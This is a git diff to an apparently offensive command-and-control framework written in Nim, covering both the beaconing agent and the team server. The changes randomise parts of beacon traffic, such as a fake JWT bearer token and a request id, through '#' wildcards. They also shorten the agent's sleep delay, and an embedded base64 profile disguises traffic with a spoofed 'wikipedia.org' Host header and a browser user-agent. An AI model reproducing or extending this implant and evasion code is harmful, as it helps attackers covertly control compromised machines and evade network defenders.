diff --git a/data/profile.toml b/data/profile.toml index f264b32..93f854e 100644 --- a/data/profile.toml +++ b/data/profile.toml @@ -30,7 +30,7 @@ endpoints = [ placement = { type = "header", name = "Authorization" } encoding = { type = "base64", url-safe = true } prefix = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9." -suffix = ".KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30" +suffix = ".######################################-####" # Example: PHP session cookie # placement = { type = "header", name = "Cookie" } @@ -45,7 +45,7 @@ suffix = ".KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30" # Defines arbitrary URI parameters that are added to the request [http-get.agent.parameters] -id = "bd5a-c65176a7ac5c" +id = "#####-#####" lang = "en-US" # Defines arbitrary headers that are added by the agent when performing a HTTP GET request diff --git a/src/agent/core/http.nim b/src/agent/core/http.nim index 63449a1..768ec7c 100644 --- a/src/agent/core/http.nim +++ b/src/agent/core/http.nim @@ -34,16 +34,16 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = # Define request headers, as defined in profile for header, value in ctx.profile.getTable("http-get.agent.headers"): - client.headers.add(header, value.getStr()) + client.headers.add(header, value.getStringValue()) # Define additional request parameters var params = "" for param, value in ctx.profile.getTable("http-get.agent.parameters"): - params &= fmt"&{param}={value.getStr}" + params &= fmt"&{param}={value.getStringValue()}" params[0] = '?' # Select a random endpoint to make the request to - var endpoint = ctx.profile.getArray("http-get.endpoints").getRandom().getStr() + var endpoint = ctx.profile.getArray("http-get.endpoints").getRandom().getStringValue() if endpoint[0] == '/': endpoint = endpoint[1..^1] @@ -66,14 +66,14 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} = # Define request headers, as defined in profile for header, value in ctx.profile.getTable("http-post.agent.headers"): - client.headers.add(header, value.getStr()) + client.headers.add(header, value.getStringValue()) # Select a random endpoint to make the request to - var endpoint = ctx.profile.getArray("http-post.endpoints").getRandom().getStr() + var endpoint = ctx.profile.getArray("http-post.endpoints").getRandom().getStringValue() if endpoint[0] == '/': endpoint = endpoint[1..^1] - let requestMethod = parseEnum[HttpMethod](ctx.profile.getArray("http-post.request-methods").getRandom().getStr("POST")) + let requestMethod = parseEnum[HttpMethod](ctx.profile.getArray("http-post.request-methods").getRandom().getStringValue("POST")) let body = Bytes.toString(data) diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index e2fea77..5c26cef 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -5,6 +5,6 @@ -d:Octet3="177" -d:Octet4="43" -d:ListenerPort=8080 --d:SleepDelay=10 +-d:SleepDelay=3 -d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U=" --d:ProfileString="bmFtZSA9ICJjcS1kZWZhdWx0LXByb2ZpbGUiCmNvbnF1ZXN0X2RpcmVjdG9yeSA9ICIvbW50L2MvVXNlcnMvamFrb2IvRG9jdW1lbnRzL1Byb2plY3RzL2NvbnF1ZXN0Igpwcml2YXRlX2tleV9maWxlID0gIi9tbnQvYy9Vc2Vycy9qYWtvYi9Eb2N1bWVudHMvUHJvamVjdHMvY29ucXVlc3QvZGF0YS9rZXlzL2NvbnF1ZXN0LXNlcnZlcl94MjU1MTlfcHJpdmF0ZS5rZXkiCmRhdGFiYXNlX2ZpbGUgPSAiL21udC9jL1VzZXJzL2pha29iL0RvY3VtZW50cy9Qcm9qZWN0cy9jb25xdWVzdC9kYXRhL2NvbnF1ZXN0LmRiIgpbYWdlbnRdCnNsZWVwID0gNQp1c2VyLWFnZW50ID0gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzguMC4wLjAgU2FmYXJpLzUzNy4zNiIKCltodHRwLWdldF0KZW5kcG9pbnRzID0gWyIvZ2V0IiwgIi9hcGkvdjEuMi9zdGF0dXMuanMiXQpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0XQpwcmVmaXggPSAiQmVhcmVyIGV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS4iCnN1ZmZpeCA9ICIuS01VRnNJRFRuRm15RzNuTWlHTTZIOUZORlVST2Yzd2g3U21xSnAtUVYzMCIKW2h0dHAtZ2V0LmFnZW50LmhlYXJ0YmVhdC5wbGFjZW1lbnRdCnR5cGUgPSAiaGVhZGVyIgpuYW1lID0gIkF1dGhvcml6YXRpb24iCgpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0LmVuY29kaW5nXQp0eXBlID0gImJhc2U2NCIKdXJsLXNhZmUgPSB0cnVlCgoKW2h0dHAtZ2V0LmFnZW50LnBhcmFtZXRlcnNdCmlkID0gImJkNWEtYzY1MTc2YTdhYzVjIgpsYW5nID0gImVuLVVTIgoKW2h0dHAtZ2V0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSAid2lraXBlZGlhLm9yZyIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgpDYWNoZS1Db250cm9sID0gIm5vLWNhY2hlIgoKW2h0dHAtZ2V0LnNlcnZlci5oZWFkZXJzXQpTZXJ2ZXIgPSAibmdpbngiCkNvbnRlbnQtVHlwZSA9ICJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iCkNvbm5lY3Rpb24gPSAiS2VlcC1BbGl2ZSIKCltodHRwLWdldC5zZXJ2ZXIub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKCltodHRwLXBvc3RdCmVuZHBvaW50cyA9IFsiL3Bvc3QiLCAiL2FwaS92Mi9nZXQuanMiXQpyZXF1ZXN0LW1ldGhvZHMgPSBbIlBPU1QiLCAiUFVUIl0KW2h0dHAtcG9zdC5hZ2VudC5oZWFkZXJzXQpDb250ZW50LVR5cGUgPSAiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIgpDb25uZWN0aW9uID0gIktlZXAtQWxpdmUiCkNhY2hlLUNvbnRyb2wgPSAibm8tY2FjaGUiCgpbaHR0cC1wb3N0LmFnZW50Lm91dHB1dC5wbGFjZW1lbnRdCnR5cGUgPSAiYm9keSIKCltodHRwLXBvc3Quc2VydmVyLmhlYWRlcnNdClNlcnZlciA9ICJuZ2lueCIKCltodHRwLXBvc3Quc2VydmVyLm91dHB1dC5wbGFjZW1lbnRdCnR5cGUgPSAiYm9keSIKCgo=" +-d:ProfileString="bmFtZSA9ICJjcS1kZWZhdWx0LXByb2ZpbGUiCmNvbnF1ZXN0X2RpcmVjdG9yeSA9ICIvbW50L2MvVXNlcnMvamFrb2IvRG9jdW1lbnRzL1Byb2plY3RzL2NvbnF1ZXN0Igpwcml2YXRlX2tleV9maWxlID0gIi9tbnQvYy9Vc2Vycy9qYWtvYi9Eb2N1bWVudHMvUHJvamVjdHMvY29ucXVlc3QvZGF0YS9rZXlzL2NvbnF1ZXN0LXNlcnZlcl94MjU1MTlfcHJpdmF0ZS5rZXkiCmRhdGFiYXNlX2ZpbGUgPSAiL21udC9jL1VzZXJzL2pha29iL0RvY3VtZW50cy9Qcm9qZWN0cy9jb25xdWVzdC9kYXRhL2NvbnF1ZXN0LmRiIgpbYWdlbnRdCnNsZWVwID0gNQp1c2VyLWFnZW50ID0gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzguMC4wLjAgU2FmYXJpLzUzNy4zNiIKCltodHRwLWdldF0KZW5kcG9pbnRzID0gWyIvZ2V0IiwgIi9hcGkvdjEuMi9zdGF0dXMuanMiXQpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0XQpwcmVmaXggPSAiQmVhcmVyIGV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS4iCnN1ZmZpeCA9ICIuIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMtIyMjIyIKW2h0dHAtZ2V0LmFnZW50LmhlYXJ0YmVhdC5wbGFjZW1lbnRdCnR5cGUgPSAiaGVhZGVyIgpuYW1lID0gIkF1dGhvcml6YXRpb24iCgpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0LmVuY29kaW5nXQp0eXBlID0gImJhc2U2NCIKdXJsLXNhZmUgPSB0cnVlCgoKW2h0dHAtZ2V0LmFnZW50LnBhcmFtZXRlcnNdCmlkID0gIiMjIyMjLSMjIyMjIgpsYW5nID0gImVuLVVTIgoKW2h0dHAtZ2V0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSAid2lraXBlZGlhLm9yZyIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgpDYWNoZS1Db250cm9sID0gIm5vLWNhY2hlIgoKW2h0dHAtZ2V0LnNlcnZlci5oZWFkZXJzXQpTZXJ2ZXIgPSAibmdpbngiCkNvbnRlbnQtVHlwZSA9ICJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iCkNvbm5lY3Rpb24gPSAiS2VlcC1BbGl2ZSIKCltodHRwLWdldC5zZXJ2ZXIub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKCltodHRwLXBvc3RdCmVuZHBvaW50cyA9IFsiL3Bvc3QiLCAiL2FwaS92Mi9nZXQuanMiXQpyZXF1ZXN0LW1ldGhvZHMgPSBbIlBPU1QiLCAiUFVUIl0KW2h0dHAtcG9zdC5hZ2VudC5oZWFkZXJzXQpIb3N0ID0gIndpa2lwZWRpYS5vcmciCkNvbnRlbnQtVHlwZSA9ICJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iCkNvbm5lY3Rpb24gPSAiS2VlcC1BbGl2ZSIKQ2FjaGUtQ29udHJvbCA9ICJuby1jYWNoZSIKCltodHRwLXBvc3QuYWdlbnQub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKW2h0dHAtcG9zdC5zZXJ2ZXIuaGVhZGVyc10KU2VydmVyID0gIm5naW54IgoKW2h0dHAtcG9zdC5zZXJ2ZXIub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKCg==" diff --git a/src/common/profile.nim b/src/common/profile.nim index 752dda2..8c4a5ce 100644 --- a/src/common/profile.nim +++ b/src/common/profile.nim @@ -1,4 +1,4 @@ -import parsetoml, strutils, random +import parsetoml, strutils, sequtils, random import ./[types, utils] proc findKey(profile: Profile, path: string): TomlValueRef = @@ -16,13 +16,23 @@ proc findKey(profile: Profile, path: string): TomlValueRef = # Takes a specific "."-separated path as input and returns a default value if the key does not exits # Example: cq.profile.getString("http-get.agent.heartbeat.prefix", "not found") returns the string value of the -# prefix key, or "not found" if the target key or any sub-tables don't exist +# prefix key, or "not found" if the target key or any sub-tables don't exist +# '#' characters represent wildcard characters and are replaced with a random alphanumerical character + +proc randomChar(): char = + let alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + return alphabet[rand(alphabet.len - 1)] + +proc getStringValue*(key: TomlValueRef, default: string = ""): string = + let value = key.getStr(default) + # Replace '#' with a random alphanumerical character and return the resulting string + return value.mapIt(if it == '#': randomChar() else: it).join("") proc getString*(profile: Profile, path: string, default: string = ""): string = let key = profile.findKey(path) if key == nil: return default - return key.getStr(default) + return key.getStringValue(default) proc getBool*(profile: Profile, path: string, default: bool = false): bool = let key = profile.findKey(path) diff --git a/src/server/api/routes.nim b/src/server/api/routes.nim index 2c33d9e..8a40907 100644 --- a/src/server/api/routes.nim +++ b/src/server/api/routes.nim @@ -80,7 +80,7 @@ proc httpGet*(ctx: Context) {.async.} = # Add headers, as defined in the team server profile for header, value in cq.profile.getTable("http-get.server.headers"): - ctx.response.setHeader(header, value.getStr()) + ctx.response.setHeader(header, value.getStringValue()) await ctx.respond(Http200, prefix & response & suffix, ctx.response.headers) ctx.handled = true # Ensure that HTTP response is sent only once @@ -113,7 +113,7 @@ proc httpPost*(ctx: Context) {.async.} = # Add response headers, as defined in team server profile for header, value in cq.profile.getTable("http-post.server.headers"): - ctx.response.setHeader(header, value.getStr()) + ctx.response.setHeader(header, value.getStringValue()) if cast[PacketType](header.packetType) == MSG_REGISTER: if not register(string.toBytes(ctx.request.body)): diff --git a/src/server/core/listener.nim b/src/server/core/listener.nim index e305d0f..0424d0b 100644 --- a/src/server/core/listener.nim +++ b/src/server/core/listener.nim @@ -61,19 +61,19 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) = # Define API endpoints based on C2 profile # GET requests for endpoint in cq.profile.getArray("http-get.endpoints"): - listener.addRoute(endpoint.getStr(), routes.httpGet) + listener.addRoute(endpoint.getStringValue(), routes.httpGet) # POST requests var postMethods: seq[HttpMethod] for reqMethod in cq.profile.getArray("http-post.request-methods"): - postMethods.add(parseEnum[HttpMethod](reqMethod.getStr())) + postMethods.add(parseEnum[HttpMethod](reqMethod.getStringValue())) # Default method is POST if postMethods.len == 0: postMethods = @[HttpPost] for endpoint in cq.profile.getArray("http-post.endpoints"): - listener.addRoute(endpoint.getStr(), routes.httpPost, postMethods) + listener.addRoute(endpoint.getStringValue(), routes.httpPost, postMethods) listener.registerErrorHandler(Http404, routes.error404) @@ -113,19 +113,19 @@ proc restartListeners*(cq: Conquest) = # TODO: Store endpoints for already running listeners is DB (comma-separated) and use those values for restarts # GET requests for endpoint in cq.profile.getArray("http-get.endpoints"): - listener.get(endpoint.getStr(), routes.httpGet) + listener.get(endpoint.getStringValue(), routes.httpGet) # POST requests var postMethods: seq[HttpMethod] for reqMethod in cq.profile.getArray("http-post.request-methods"): - postMethods.add(parseEnum[HttpMethod](reqMethod.getStr())) + postMethods.add(parseEnum[HttpMethod](reqMethod.getStringValue())) # Default method is POST if postMethods.len == 0: postMethods = @[HttpPost] for endpoint in cq.profile.getArray("http-post.endpoints"): - listener.addRoute(endpoint.getStr(), routes.httpPost, postMethods) + listener.addRoute(endpoint.getStringValue(), routes.httpPost, postMethods) listener.registerErrorHandler(Http404, routes.error404) diff --git a/src/server/core/server.nim b/src/server/core/server.nim index 5bdb668..cba07ff 100644 --- a/src/server/core/server.nim +++ b/src/server/core/server.nim @@ -153,8 +153,8 @@ proc startServer*(profilePath: string) = try: # Load and parse profile let profile = parseFile(profilePath) - styledEcho(fgGreen, styleBright, "[+] Using profile \"", profile["name"].getStr(), "\" (", profilePath ,").") - styledEcho(fgGreen, styleBright, "[+] ", profile["private_key_file"].getStr(), ": Private key found.") + styledEcho(fgGreen, styleBright, "[+] Using profile \"", profile.getString("name"), "\" (", profilePath ,").") + styledEcho(fgGreen, styleBright, "[+] ", profile.getString("private_key_file"), ": Private key found.") # Initialize framework context cq = Conquest.init(profile)